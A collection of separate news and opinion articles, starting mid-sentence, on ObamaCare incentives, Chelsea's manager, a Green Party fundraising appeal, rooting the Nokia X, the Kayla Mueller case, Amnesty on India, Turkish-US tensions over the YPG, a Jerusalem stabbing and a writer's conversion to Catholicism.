workers of buying insurance from their company’s plan for themselves—not that of insuring their entire family.  The solution is to have the employer end health-care coverage so that workers then qualify for the exchanges. The business will have to pay a penalty, but that’s far below the cost of providing subsidized health insurance, so they win, too. The only losers in this scenario are taxpayers who have to fork over billions more than anticipated in exchange subsidies.  The proper term isn’t “weird.” It’s “perverse incentives,” and we’ve been warning about them since ObamaCare was first proposed.  Not all workers have this much control over their health-insurance offerings, though. Substitute teachers in Trenton, New Jersey won’t even get the opportunity to make that choice after the Hamilton school district limited their potential work schedules, specifically because of ObamaCare:  The Hamilton school district has told its substitute teachers they will be limited to working a maximum of four days a week in the coming school year because of the federal health reform law’s future requirement that full-time employees be provided with health insurance. A memo mailed to the substitutes in late June said that the restriction resulted from a provision of the Patient Protection and Affordable Care Act that will require employers to provide affordable health insurance for full-time employees and their dependents. Full-time is defined as an average of 30 or more hours per week. “This memorandum will serve as official notice that, as of the 2013-2014 school year, strict limits will be placed on the number of working hours of part-time/temporary employees,” read the letter signed by director of human resources Katherine Shilenok-Wright.  Hey, didn’t Obama say he would delay enforcement of that employer mandate? Hamilton doesn’t want to wait around to find out:  The provision of the federal law was originally scheduled to go into effect in January 2014, and last month the federal government delayed enforcement until 2015, but the memo says the limits on substitute teachers’ hours will go into effect when school starts next month.  Once government sets the conditions for perverse incentives in the marketplace, it doesn’t take long for businesses and consumers to adjust to them.
-Imagine for a minute that you're football manager. This shouldn't be too hard, most of us do it several times a day. And imagine you're not just any football manager; you're the manager of one of the biggest clubs in the world, the current defending Champions of England, even. This is your moment!  Now imagine you've reconvened for the new season after an extended summer break and you see some of your players have returned surprisingly out of shape, many even lacking a bit of motivation, thinking that they can rest on their laurels from last season. And so you jet off to America for an intense training camp and in the very first friendly, you lose to the B (or was it C?)-team of the New York Red Bulls by conceding four goals in the second half. Like most fans, perhaps you think this is not a huge deal. For most of those kids, this was a once in a lifetime opportunity. For most of your kids, this was just something mundane to get done and move on to the next one. No big deal.  But then things don't really improve. And at some indeterminate point in the near future, you happen to lose your cool with your collection of so-called champions and, amongst other things I'm sure, you call them out on not even being able to beat a "Mickey Mouse team" like the reserves/youth of some MLS side.  Now imagine if some in your squad react to this negatively, as if you've done them some grave injustice. Imagine, players to whom later you would refer to as "no primadonnas", players who call themselves Champions of England getting offended that their title-winning manager calls them out for playing so badly that they couldn't even beat a bunch of kids still going through puberty. Imagine that this suddenly sours the relationship so badly between some players and the manager, that it sets the team up for failure from day 1.  Now, if you can imagine all that as a realistic scenario, even though it basically flies straight in the face of everything Mourinho and the players have been saying publicly, then you might enjoy Matt Hughes' latest effort in The Times. He peddles this exact story therein, apparently with the utmost seriousness, as the cause of all that's gone wrong at Chelsea.  The Times has been told that his relationship with some of his squad has been strained since pre-season [...] a resentment that has its roots in the manager's reaction to his side's first pre-season friendly of last summer, a surprise 4-2 defeat by the New York Red Bulls. In the immediate aftermath of that match in New Jersey, in July, Mourinho initially ignored his team after watching them concede four second-half goals to a side comprised largely of Red Bulls Academy youngsters, but brought the game up during a team talk several weeks later, in which he turned on his players and accused them of losing to a "Mickey Mouse team". This outburst infuriated several players, as they had moved on from that defeat and did not appreciate being castigated for it long after the event. -source: The Times  Oh, the poor babies just didn't appreciate it. The poor, poor babies. Here's a lollipop to make it all better. Don't worry, daddy still loves ya.  And that's just the tip of the iceberg. You can read the rest here. Don't say I didn't warn you. I realize these sorts of CRISIS stories are a dime a dozen and have been regular think-pieces in the media for some time now. But at least Neil Ashton tends to add some daytime soap opera drama to his. This one's just hilariously serious — it even goes on to say that the recent positive words are nothing but "damning with faint praise" — for something so inconceivably minor and, really, commonplace.  I mean, in my day, we just called this coaching and being a manager, no?
-A message from Caroline Lucas  I have a favour to ask you, because I need your help.  Sadly I’ve been left with no new Green colleagues in Parliament after the last election and the Green Party's overall vote went down – in part because of my Party's decision to stand aside in some marginal constituencies.  Not many people know it, but a lower vote share also means less funding for the Green Party. Despite winning far more votes than the DUP we still only have one MP, and significantly less money.  That’s where you come in.  This year I have some big plans:  I want to hold the Government to account over arms sales to Saudi Arabia.  I want to visit Yarlswood detention centre, and expose the injustice there.  I want to scrutinise every single major Government policy on the environment.  I want to force Britain to the table on talks to ban nuclear weapons – and I want to build an alliance to stop Trident replacement.  I want to be the sharpest thorn in the Government’s side, and ultimately I want to be part of a movement that replaces these tired Tories with a progressive alternative.  But I can’t do any of this without support from my amazing team.  They work behind the scenes to skewer Ministers with Parliamentary Questions. They scour Government files looking for wrongdoing. They keep an eye on the frackers, the tax dodgers and the arms companies.  Despite the Green Party receiving half a million votes, I’m still the only MP, so having a team of dedicated staff really matters.  And that’s why I need your support. To keep speaking truth to power I need a bit of help funding my team. If you can give just £5 that would be immensely helpful, and if you can share this post with some friends that would be even better.  You might not be a Green Party member. You might have voted and campaigned for someone else. But I hope that you might still be willing to donate a small amount to help me fighting for social justice – and defending our environment.  I’ll always work with fellow travellers to further our shared goals, and I’ll always do my best to be your voice in a Parliament all too often dominated by vested interests.  Please do give what you can, and thank you!  Why We Need Your Help  In the 2017 General Election more people than ever before voted tactically. Significant numbers of Green supporters made a one off decision not to vote with their hearts but instead to vote tactically.  That means Caroline’s financial support has dropped by 50% too – the equivalent of 3.5 members of staff – because the funding that opposition parties get is calculated according to how many votes they get nationally.  Caroline relies on her staff to help her stand up for what matters.  And with Brexit negotiations, Gove as Environment Secretary and Trump turning his back on the Paris Climate agreement, we need Caroline doing what she does best.  The Impact  The Conservative Government – in cahoots with the DUP - has plans for legislation that will give free rein to fracking companies, weaken protections for asylum seekers and refugees, attack civil liberties, and give a massive boost to the UK arms trade and the trade we do with dictators.  Caroline will consistently expose what’s going on, call out Ministers and campaign for a future we can all be proud of. She punches way above her weight but with a much smaller staff team her impact will be hugely reduced.  Caroline’s budget has been reduced by £8k a month. If just half of everyone who voted Green in 2015 or 2017 gave £1 we’d easily raise enough to keep the staff team going for 5 more years.  Other ways you can help  If you are unable to contribute financially, you can still help by asking your friends to chip in or sharing this page on social media.
-It was some days back when Nokia unveiled their first Android phone, the Nokia X at the MWC 2014, but the phone appeared to have a different taste of Android. Like the other Android devices, the Nokia X doesn’t use the Android distribution backed by the licensed modules from Google such as Google Play, Gmail etc., but instead used their own Microsoft cloud service. But we thought that if we flash a custom ROM onto it, root, then we can give the taste of the Android which we usually see in Android phones.  However, it seems to be possible now as Nokia X developer units has rooted the Nokia X, and this means after this root developer can now add other apps to the system which includes the Google’s own closed source apps. The developer unit used the Framaroot app to root the Nokia X, which will allow to add other apps to the system.  With this ability in Nokia X, this phone will a best option while purchasing a mid-ranged smartphone. So, if you are interested in purchasing the Nokia X in future, then please take a note of the Framaroot app. What do you think about Nokia X after the root? Stay tuned for more updates.  SOURCE: androidcentral
-The Justice Department filed charges Monday against the wife of a dead ISIS commander, alleging that she was part of a conspiracy that resulted in the death of Kayla Mueller, a 26-year-old American aid worker who was kidnapped by ISIS in Syria.  But the ISIS widow, known as Umm Sayyaf, is unlikely ever to see the inside of a U.S. courtroom as she is already in custody in Iraq. A U.S. official told The Daily Beast that the charges against her were more of an “insurance policy” in case Iraqi officials fail to charge her or she is ever transferred to another country or she escapes prison.  The charges also didn’t answer lingering questions about how Mueller died. The so-called Islamic State widely known as ISIS has said she was killed during a Jordanian air strike in February 2015 that meant to avenge the immolating of a Jordanian pilot held by ISIS. U.S. officials have refuted that claim but haven’t offered any alternative explanation of how Mueller died.  The charges allege that Umm Sayyaf, whose real name is Nasrin As’ad Ibrahim, knew that Mueller was being held against her will as a sex slave, along with two young Kurdish women in the home of Umm Sayyaf and her husband, known as Abu Sayyaf, who was a top ISIS official involved in its illicit oil trade.  Umm Sayyaf is in the custody of the Kurdish Regional Government in Iraq. She was captured by U.S. forces in Syria during a raid on an ISIS compound in May 2015. Her husband was killed, and she was taken into American custody and interrogated in Iraq by an American unit that operates outside the traditional criminal justice system.  But Umm Sayyaf is an Iraqi citizen, and ultimately the Obama administration deferred to Iraqi law, handing her over to authorities there. Officials told The Daily Beast at the time that they expected the Kurds to “throw the book” at her and that justice would be swift. But nine months later, there have been no reports of charges filed against Umm Sayyaf.  It was unclear if the Obama administration’s confidence in the Iraqi justice system had waned.  A Justice Department spokesman said the U.S. is still “fully committed to the Iraqis putting her through their justice system. No cards were taken off the table when she was transferred to Iraqi custody, and we have consistently said the U.S. justice system is a powerful tool to use against those who harm or kill our citizens,” Justice Department spokesman Marc Raimondi told The Daily Beast.  The idea that the U.S. always maintained the option of prosecuting Umm Sayyaf is something of a turnabout from previous statements.  The U.S. and Iraq do not have an extradition treaty. At the time Umm Sayyaf was captured, a U.S. official told The Daily Beast, “We discussed the idea of her surrender and extradition to the U.S. with senior-level [government of Iraq] officials, but ultimately that option was not available as Iraq has a constitutional prohibition on surrendering Iraqi citizens to foreign authorities.”  Because of that, Monday’s charges were meant, at least in part, as a way of ensuring that if Umm Sayyaf were freed, transferred to another country, or if she escaped, then U.S. law enforcement would be authorized to apprehend her on the conspiracy charges. The charges against her could carry a sentence of life in prison.  In an affidavit, the Justice Department also alleged that Mueller had been raped by the ISIS leader, Abu Bakr al-Baghdadi, while she was being held in the home of Umm Sayyaf and her husband. Mueller was at various times handcuffed or held in locked rooms and she was “sexually abused by Baghdadi, who forced her to have sex with him,” according to a department statement.  Mueller’s family had previously said that officials had told them Mueller was sexually abused while in ISIS custody.  Saturday marked the one-year anniversary of when Mueller’s family and U.S. officials learned of her death through a video sent to the family by her captors.  A Mueller family spokesperson told The Daily Beast that officials had told them they were filing charges against Umm Sayyaf before the charges were publicly announced.
-Click HERE to download full report --- Then, Amnesty says, "In December, Parliament passed amendments to juvenile justice laws which allowed children aged 16 to 18 to be treated as adults in cases of serious crimes, in violation of India’s international legal obligations."  In its just-released annual report, Amnesty International has sharply criticized the Government of India for arbitrarily arresting and detaining “human rights defenders, journalists and protesters”, pointing out how authorities have been using the Foreign Contribution (Regulation) Act (FCRA) to restrict organizations from receiving foreign funding and harass NGOs and activists. Giving examples, Amnesty, which is one of the world's most influential human rights organizations, notes “a series of actions against Greenpeace India, including preventing one of its campaigners from travelling to the UK in January, ordering the organization’s bank accounts to be frozen in April and cancelling its FCRA registration in September.”Not just this, Amnesty, in its report for the year 2015-16, says, “The Ministry of Home Affairs cancelled the FCRA registration of thousands of NGOs for violating provisions of the law. In April, the Ministry ordered that it would have to approve foreign funds from certain identified donor organizations.”Amnesy notes, “In July, the Central Bureau of Investigation registered a case against human rights activists Teesta Setalvad and Javed Anand for allegedly violating provisions of the FCRA. In September, authorities suspended the registration of an NGO run by the activists to receive foreign funding.”Especially referring to sedition laws being used by Indian authorities, Amnesty notes, “Laws which did not meet international standards on freedom of expression were used to persecute human rights defenders and others.”It points out how, in August, the Maharashtra state government went to far as to “issue a circular on how India’s sedition law must be applied, suggesting that criticism of a government representative would amount to sedition.”Pointing towards other laws being imposed similarly in India, Amnesty says, “Authorities also continued to use ‘anti-terror” laws such as the Unlawful Activities (Prevention) Act and other state- specific laws which do not meet international human rights standards.”“In April”, it states, “The state government of Gujarat passed an anti-terror bill containing several provisions which violated international standards. Similar laws remained in force in Maharashtra and Karnataka states.”Even as such laws are being used, Amnesty says, “A Central Bureau of Investigation Court discharged several police officials suspected of involvement in an extrajudicial execution in Gujarat in 2005.”This, it says, happened despite the fact that in June, the UN Special Rapporteur on extrajudicial executions “noted in a follow-up report on India that guidelines by courts and the National Human Rights Commission often ‘remained on paper with little or no implementation on the ground’.”Referring to the continued use of Armed Forces (Special Powers) Act, Amnesty says, "Impunity for violations by security forces in India persisted, and legislation granting virtual immunity from prosecution for the armed forces remained in force in Jammu and Kashmir and parts of northeastern India."
-In the age of the internet, it might be hard for some to dispute tales that actual living people are telling to reporters and outlets, especially if they are heartfelt. The story of this comedian Dan Nainan, though? Judging by the number of news organizations that have gotten quotes and stories from him in the last 16 years, to the point where he's been noted multiple times of being a 35-year-old millennial? It's amazing that he's still being hit up by outlets these days.  The Daily Beast recently posted a deep dive into his life, and it's astonishing that dude has gotten away with so many lies. Forbes recently did a story on Nainan and him being a millionaire millennial comedian back in December, and he was quoted in a number of articles, all calling him 35. Sounds all well and good... but when the Beast did some digging, they found out that dude isn't 35 at all; he's 55. For real; dude apparently caught a charge for fighting a former Daily Beast in 2013, and the police report from that time frame said his age range was around 52.  What's worse? Googling his name isn't hard, and would easily pull up how he's in fact "well over 50 years old." There's an entire website for it. The Daily Beast went in and actually got dude on the phone; for some reason he's still copping pleas, saying that he's definitely 35 and there was some kind of mistake on his birth record.  POST CONTINUES BELOW  Why is dude lying about his age? Who knows; some people just feel like they need to continuously lie about their age. He doesn't even look like he's in his thirties, though. Like, at all. And truth be told, even if he HAS been lying, what's good with the lack of fact-checking his age throughout the news media when it comes to this guy? Is he that convincing, or do people just not give that much of a fuck?  Either way, it's 2017: let's fix up and get these goddamn ages right.
-Mr Erdogan said the sight of American flags in the convoy alongside YPG insignia had "seriously saddened" Turkey.  The YPG is the Syrian branch of the Kurdistan Workers' Party (PKK), who have waged an insurgency since 1984 inside Turkey that has left tens of thousands dead.  Mr Erdogan said he would bring up the issue with President Donald Trump during his planned visit to Washington on May 16 -- and called for the coordination between the US and YPG to "come to an end."  The US-YPG cooperation began under the Obama administration, and while Mr Trump said he would rethink the relationship when he took office, little has changed.  "This needs to be stopped right now," said Mr Erdogan. "Otherwise it will continue to be a bother in the region and for us."  "It will also bother us as two Nato countries and strategic partners," he said.  Turkey sent its troops into Syria in August 2016 in support of rebel fighters and as part of an offensive aimed at clearing out Isil and creating a buffer zone between itself and the Kurds.  The International Crisis Group (ICG) said in its latest report on the Syria crisis that the US had "a singular dilemma" on the future of its relationship with the YPG.  It said the YPG "is indispensable" to defeat Isil but there is also "no avoiding the fact" that the US is backing a force "led by PKK-trained cadres in Syria while the PKK itself continues an insurgency against a Nato ally."
-Two yeshiva students were stabbed Monday night in Jerusalem’s Old City.  According to reports, the stabbings occurred during a fight between the students and local Arab youths.  A 45-year-old man was stabbed in his abdomen, and was evacuated to Shaare Zedek Hospital in moderate condition.  Get The Times of Israel's Daily Edition by email and never miss our top stories Free Sign Up  The other victim, 32 years of age, suffered from a shallow knife wound in the neck and had his arm broken. He was also in Shaare Zedek, where doctors said he was lightly injured.  The students, from the Shuvu Banim yeshiva, claimed they were set upon by a group of Arab youths as they left their study hall.  They reached the Kishle police station in the Armenian Quarter, and were taken to the hospital from there.  Police have made three arrests.  Security forces were searching the area.  Tensions in Jerusalem have been spiking in recent months, mostly over Palestinian claims that the Israeli government wants to change the status quo at the Temple Mount by allowing Jews to pray there.  Netanyahu has repeatedly denied the claims but some members of his right-wing coalition favor letting the prayers go forward.  In recent months, 11 people have been killed in attacks by Palestinian terrorists — mostly in Jerusalem.  Police on Monday were looking into reports of an attack by three young Israelis on a Palestinian youth in Jerusalem, and an assault by Arab youths on a Jewish Egged bus driver in Megiddo.
-On July 26, I announced my decision to join the Catholic Church. Hours earlier, a pair of jihadists had attacked a church in France and murdered a priest, Fr Jacques Hamel, while he was celebrating Mass.  Two months before that, I had begun studying one-on-one with a priest in London, reading Catholic books and immersing myself in the catechumen’s life. But I had no intention of going public with my conversion, not until after being received into the Church.  When news of the killing first broke, I knew next to nothing about Fr Hamel. Photos online showed an octogenarian priest with wispy white hair and a look of quiet, ordinary holiness.  This priest, this man, had been forced to kneel and had his throat slit in the name of ISIS – an evil act that demanded a response. So like any good millennial, I took to my Twitter account and wrote: “#IAmJacques Hamel. In fact, this is the right moment to announce I’m converting to Roman Catholicism.” It was an impulsive thing to do, not exactly in keeping with our Lord’s teaching to be as wise as serpents.  Over the next 48 hours, thousands of people re-tweeted me, and hundreds contacted me through social media. Then my announcement made its way to Christian media. Well-meaning journalists read my Wikipedia entry, noted that I’d been born and raised in Iran, and concluded: Fr Hamel’s final act had been to convert a Muslim.  Thousands more shared these news stories on Twitter and Facebook, usually accompanied by the famous saying of Tertullian that “the blood of martyrs is the seed of the Church”. I wished my road to Rome had been as easy as “Moslem Writer Moved by Priest’s Martyrdom to Convert to Catholicism” (an actual headline from a Catholic outlet). The real story was much longer and more complicated.  When I was 12, I decided that there was no God. I remember the circumstances only vaguely. The year must have been 1997. I was on holiday with my parents in northern Iran, by the Caspian Sea. Many middle-class Iranians from the capital, Tehran, own modest cottages on the Caspian shore. My parents didn’t, but they had friends who did, and the summertime “villa trip” was a tradition.  I trace some of my happiest memories to these trips. There were usually other children – a delight for me, an only child. The days were invariably spent on the beach. Sharia law demanded strict separation of the sexes at sea. At most public beaches, the regime curtained off the water to create separate men’s and women’s areas. Everywhere there were banners and posters that read: “My sister, mind your veil. My brother, mind your eyes.”  But my parents and their friends usually found hidden corners where men and women could share the beach, away from the watchful eyes of the Islamic Republic’s morality committees. They would even bring bottles of araq, Iran’s searing home made spirit, in defiance of official prohibition. If the morality police showed up in their signature Toyota 4x4s, all wasn’t lost. Most of the officers could be bribed to overlook such iniquities.  The adults in the party would receive a stern scolding. They would make excuses, apologise and vow never to do it again.  Then the officers would say: “Well, if you’re having a good time, give us a taste of your candy.” This was the signal for the men to reach for their wallets, pool their cash and pay off the provincials. (There was always a non-zero chance, however, that the officer in charge was a true believer. Then a flogging could be in order.)  One night during that summer of 1997, in the borderland between childhood and pubescence, I began thinking seriously for the first time about all this. We’d returned to the villa from the beach. The air inside was dank with humidity. Evenings were reserved for cards and a barbecue, but I didn’t feel like sitting at the adult card table or horseplaying with the other kids. Maybe I’d had some dispute with the adults, though I can’t recall the substance.  I do remember retreating to my bunk bed upstairs and cursing everything. Religion, I concluded right then and there, was little more than a ritual of public hypocrisy – one that I’d be expected to perform. In our roshan-fekr (urbane, intellectual) milieu, piety was a sign of backwardness. But we feigned piety in public to keep our heads in the Islamic Republic. The trick was to take care that one’s double lives didn’t intersect.  Well, not if I could help it. At school, I had already begun clashing with my Koran teacher, whose real job was to inculcate students in the regime’s ideology, a mix of Shia chauvinism, anti-Americanism and Jew-hatred. When we returned from holiday, I escalated the war at school. Had I been a bit older it would have landed me in jail. But I was emboldened by the knowledge that soon my mother and I would be granted US green cards and immigrate to America.  At home, I air-drummed to Pink Floyd and read my father’s weather-beaten copy of Catcher in the Rye. My parents had divorced in 1991, but for my sake they’d kept up a charade of being married and living under the same roof. Now the marital theatre was over. The Floyd tapes, the Persian-language Salinger novel and a Japanese Noh mask were my father’s last gifts to me before my mother and I left Iran. I haven’t seen him since.  Eden, Utah (population 600) is a ski resort nestled in the Rockies, a couple of hours’ drive north of Salt Lake City. Eden was where my mother and I first arrived after emigrating from Iran. My uncle, my mother’s brother, had settled there not long after Iran’s 1979 Islamic Revolution, and so the Beehive State became our home when we followed him two decades later. We were now in the heart of Mormon country.  Utah was a place of astonishing natural beauty, with a deeply religious and conservative culture. Alcohol in beer was capped at three per cent by law. Coffee was considered sinful. The Church of Jesus Christ of Latter-day Saints maintained seminaries right next to most public schools. It taught that ancient Israelites had come to America, attempted to convert the natives and recounted their trials and New World revelations in golden tablets that form a sort of sequel to the Bible.  Mormonism came as a shock, and the shame of becoming déclassé compounded it. We weren’t wealthy in Tehran, but we lived respectably, in a vast two-storey house my grandfather had built.  In Utah, we initially lived in a tiny mobile home in a college town called Logan after moving out of my uncle’s. When I hitched rides with school friends, I’d ask them to drop me off a few blocks away so they wouldn’t find out where I lived.  Then there was the sheer awkwardness of being fresh off the boat. Thanks to private tutoring and years spent watching American movies in the Islamic Republic, I was nearly fluent in English before ever setting foot in the US. But mastering American mores was tougher. Being secular-minded in Iran was one thing; the free and close proximity to girls in school something else.  Well, all this was fuel for the revolution I’d first launched in the old country. If Shia Islam, with its rich iconography and theology, was all hypocrisy, then Mormonism and America’s Protestant ethic and cheerful consumerism were even more contemptible – and equally repressive in their own way. I’ve moved from one theocracy to another, I used to joke. It was an obscene comparison, but it helped me make sense of my circumstances.  I began dressing in black every day, contrived a gloomy persona and – this last probably saved me – read voraciously. Just before university, I discovered Friedrich Nietzsche’s Thus Spoke Zarathustra in a Salt Lake City bookstore. It set me off on an intellectual and spiritual road that, many years later, would bring me to an unlikely destination: the Roman Catholic Church.  Reading important books on your own in your late teens is an intoxicating business. Your critical faculties are still only half-formed. So you read each author thinking, “He’s so right!” and “Isn’t it just so!” – without pausing to note the differences among the various authors, let alone your own doubts and objections.  That was the case with me, anyway. If I could go back, I would try to read the great books in some coherent order, closely and critically, preferably with a good teacher. I didn’t lack for opportunities to do that. But I was too arrogant to allow anyone to tell me how and what to read.  I began with the half-mad Nietzsche. He proclaimed that God is dead and that Judeo-Christian morality is the product of a slave mentality, allowing the weak to vent their ressentiment at the strong. Well, wasn’t it just so with these obedient Mormons, these American bumpkins? Zarathustra spoke to my soul. I missed most of Nietzsche’s biblical allusions, but it didn’t matter. The point was to surpass God, and good and evil, to arrive at a new morality (whatever that meant).  Nietzsche opened up the whole constellation of existentialist philosophy (mainly Sartre and Camus) and the existential-ish novel (Bataille, Dostoevsky, Hesse and Kafka). I majored in philosophy as an undergraduate, and I would get decent marks with essays arguing, for example, that “the very possibility of a metaphysics is foreclosed after Auschwitz and Hiroshima”, or that “we are condemned to responsibility in a world divested of meaning” (or some such).  My confidence was born of the fact that I had almost no real sense of the things I was writing about – of the gravity of real life. I lived totally in my head. There, the world was meaningless; and if there was any point to life, it could only be reached on the far side of God’s absence.  Camus and Sartre, my existentialist heroes, disagreed over what to do in this meaningless world. Camus favoured a kind of personal and situational ethics over grand political projects. Man’s tragic destiny, the fragility and absurdity of his life, lent him a certain dignity, and the point for Camus was to uphold that dignity. Sartre, the communist, thought it was class struggle that opened the way to man’s true ground of freedom and commitment. I went the Sartre route.  The next stop was Marxism – specifically Trotskyism, a more romantic strand of the totalitarian ideology. In retrospect, it’s obvious why Marxism appealed to me: it went well with the latent anti-Americanism still imprinted on my Iranian mind. With Marxism, I could oppose the US as the evil capitalist hegemon without having to buy into any fanatical Shia mumbo-jumbo. It also assuaged my own class anxieties. My economic displacement, you see, was but a small ripple in the dialectic.  I signed up to a Trotskyite group called Socialist Alternative. In my free time, I hawked its pamphlets and joined labour union picket lines (rest assured, I did my share of hooking up, hard drinking and drugs, too). I wept after finishing The Prophet, Isaac Deutscher’s three-volume hagiography of Trotsky. I wept for a Soviet leader, and became insufferably self-righteous.  But Marxism never was able to answer questions having to do with my inner life. It didn’t banish my personal demons, or give a satisfying account of what I now would call fallenness – my own and others’. Nor, for that matter, did Lacanian psychoanalysis, the Frankfurt School, post-structuralism, queer theory or any of the other fashionable philosophies I tried on, each in turn.  Glancing at life’s rear-view mirror, there is always a temptation to impose more cohesion on one’s thoughts than they possessed at the time. I’m no doubt doing that now. But if I were to boil down my worldview as a young man, before I came to the faith, to a single idea, it would be this: man’s place in the world is unsettled; we are homeless.  Capitalism’s pitiless destruction of older social forms, Darwin’s discovery of evolution, Freud’s conquest of the unconscious, the political horrors of the 20th century – all these things had made it impossible to cling to any eternal or permanent truth about humanity. The ancient prophets and philosophers had deluded themselves. Everything about people was a product of historical conditions and social power dynamics. And therefore people were infinitely malleable.  There were only two problems. First, these ideas didn’t withstand the scrutiny of real life. After university, I was accepted into a programme called Teach for America – the British equivalent is Teach First – which dispatches recent graduates to classrooms in the inner cities and underserved rural areas. My assignment took me to the Rio Grande Valley region of Texas, on the US-Mexico border. Nine out of 10 students at my school received subsidised lunches from the government, and the region was (and is) caught in the crossfire of America’s war on drugs.  As a committed leftist, I had to believe that the achievement gap between rich and poor students was purely a problem of redistributive justice. If only schools in the Valley were as richly funded as those in white, suburban districts, there would be no achievement gap.  My teaching career quickly disabused me of these notions. Even in the direst classrooms, great teachers – I wasn’t one, by the way – could make tremendous gains with students by setting high expectations and emphasising hard work, honesty and tough discipline.  That may not sound like an earth-shattering realisation to you, but it was for me. It didn’t lead me directly to Almighty God, but it suggested that there were gradations of character in all human circumstances. That there was great wisdom in old moralistic notions I used to sneer at. And, maybe, that there were permanent things about what makes all people tick. To judge the moral gradations implied some universal standard. And more often than not, that standard arose, not from anything external, but from a voice inside (a whisper in my case).  Well, as CS Lewis would ask: where did that whisper originate? And was it a coincidence that the other view – the one that said that morality is merely a function of power, history, biology, language and so on – gave me an alibi for shutting out the whisper when it became inconvenient?  If there were differences among individuals – if some ideas about right and wrong were better than others – the same held for nations. I’d spent enough time in the US and Iran to tell the difference. Ideologies that saw citizens as infinitely malleable to the whims of the state – modern political Islam is one of them – were capable of any monstrosity. Whereas societies that treated man as inherently dignified, while far from perfect, fostered genuine human flourishing. They were manifestly more pleasant to live in.  Well, where did the West get this curious notion that human beings have an inherent dignity that overrides the whims of Pharaoh? Recognising the Judeo-Christian foundations of the West didn’t make me a Christian, of course. But it helped. If I enjoyed the beauty and ordered liberty I saw around me, then I had to give credit to the ideals that gave birth to it. You couldn’t have one without the other. The beauty and order reflected an underlying truth. It wasn’t my truth, but I no longer lightly dismissed faith.  If pressed back then, I would say: “I don’t have the gift of faith, but I profoundly respect people of faith and their contributions, etc etc.” It was a sort of reverent boilerplate that I’d perfected for the occasion.  It wasn’t true. And this brings me to the second problem I ran into with my materialism. All along, going back to that 12-year-old profession of atheism, when I really wanted something or when I was in trouble, I’d recite the few Koranic verses I knew. Or, more often, I’d supplicate a non-denominational Almighty in the sky. Then, once the desired thing was obtained or trouble past, I’d feel a bit silly and return to my materialist certainties.  My hunger for God persisted, though, and I’d feel the pangs most acutely in moments of great shame. My life’s overall trajectory was upward, but it was marked by bursts of dangerous anger and self-destructive behaviour. Shame begat shame, and the cycle repeated itself, even as I went from material success to success. I needed something or someone to break the cycle.  Twice following bouts of heavy drinking in my early 20s I found myself instinctively, almost spontaneously, going to Catholic Mass. I really couldn’t tell you why, but I just sat in the back pews and felt waves of peace wash over me – without having any clue as to what was going on.  There was no definitive moment that led from those early experiences with the Mass to my knocking on a priest’s door and asking him to instruct me earlier this year. There were no visions or sudden epiphanies.  Somewhere along the way, I resolved to be honest with myself, if not others, about my need for Almighty God. One milestone was Benedict XVI’s visit to America in 2008. I was deeply impressed by his ministry and remember thinking to myself that this was a very holy man.  I picked up his book Jesus of Nazareth. It went over my head, mostly because my grasp of Scripture was still terribly spotty, and you can’t make sense of Jesus of Nazareth without knowing the Bible. I’d read the Passion story in one of the Gospels as an undergraduate and Robert Alter’s marvellous translation of the Pentateuch after college. That was it. The one thing that stayed with me from Benedict XVI’s book was the Pope’s profound meditation on the idea that Almighty God had become man and entered our history – which is to say, the central mystery of Christianity. Et incarnatus est.  Making some sense of the Incarnation “unlocked”, if you will, the civilisational glories of the West and imbued them with real meaning for me.  Take Caravaggio’s The Denial of St Peter, my favourite painting, a work that can bring me to tears. I could have told you all about Caravaggio’s tumultuous life, spoken at length about why the painting is considered a masterpiece, and recounted the basics about the events he was portraying. But then I came to understand why any of this mattered: that the Person whom St Peter is denying isn’t just his great friend and teacher, but the very God Himself, God from God, who has entered our fallen world. And whose greatest act is to endure humiliation, be spat upon, crucified and even denied by his friends.  The beauty of the painting became, for me, a sign of the underlying truth. The story of the three denials, in other words, was no longer just a moving narrative, but part of an event upon which all of cosmic history pivots. More than that: an event and an idea that shook me to my core.  Still, I continued aestheticising my spirituality. Among friends I’d sometimes inject Christian themes into the conversation only to quickly add: “You know, I don’t take this stuff to be true – but it is all very beautiful, isn’t it? It’s been a civilising force, no?”  St Peter had nothing on me in the denial department. Until one day I stopped denying.  You may still ask: why Catholicism? Well, I dabbled for a couple of years with Evangelical Christianity. Catholics don’t exactly send you text messages asking: “Would you and your wife like to join us for Sunday service?” Evangelicals do.  My mother was Born Again a few years ago, and as a journalist, I would occasionally write about persecuted Christians in Iran and the Arab world. One of my sources, a conservative Evangelical activist who campaigns for the persecuted Church, became a great source of encouragement in my Christian journey. In the end, though, I couldn’t do anything with Evangelical Christianity. I admired Evangelicals, but their theology didn’t satisfy. I couldn’t just blink and conclude “I’ve been saved.”  Life experience had led me to see the Christian idea of the Fall, and our Lord’s gift of radical repentance, as the most sensible solution to the brokenness all around me. That much was clear. But with Catholicism there was the added assurance that came with two millennia of continuous authority. The Church’s hierarchical character, which so repelled my Evangelical friends, was one of its attractions for me. It meant that, having seen off a thousand heresies, Rome would be less likely to permit the Christian idea to be distorted by the passing fads of the day. And those fads – from leftist politics to “mindfulness” to Indian banana treatments – looked like so many third-rate substitutes for Catholic sacramental life.  Then there was the liturgy. I longed for worship that gave full expression to the mysteries of the Christian faith. The Cross had to be there, but also our Lord’s crucified body – with the pierced side, and the bloodied hands, the scourged and welted back, and the thorns cutting into the forehead. The sacrifice had to be restaged, and His Mother had to be there, too, because she was our link to His divinity, to His becoming flesh. I longed for the Mass, in other words.  So I returned to the Mass. And eventually I knocked on that priest’s door and told him that I wanted to become a Catholic. “OK,” he said simply. “I shall instruct you.” Now, I can pray, more often than not without feeling a shred of hypocrisy, “Hail, Mary, full of grace …” And add with confidence: “Fr Hamel, pray for us.”  Sohrab Ahmari is an editorial writer for The Wall Street Journal in London and the author of The New Philistines: How Identity Politics Disfigure the Arts.  This article first appeared in the September 30 2016 issue of The Catholic Herald. To read the magazine in full, from anywhere in the world, go here.
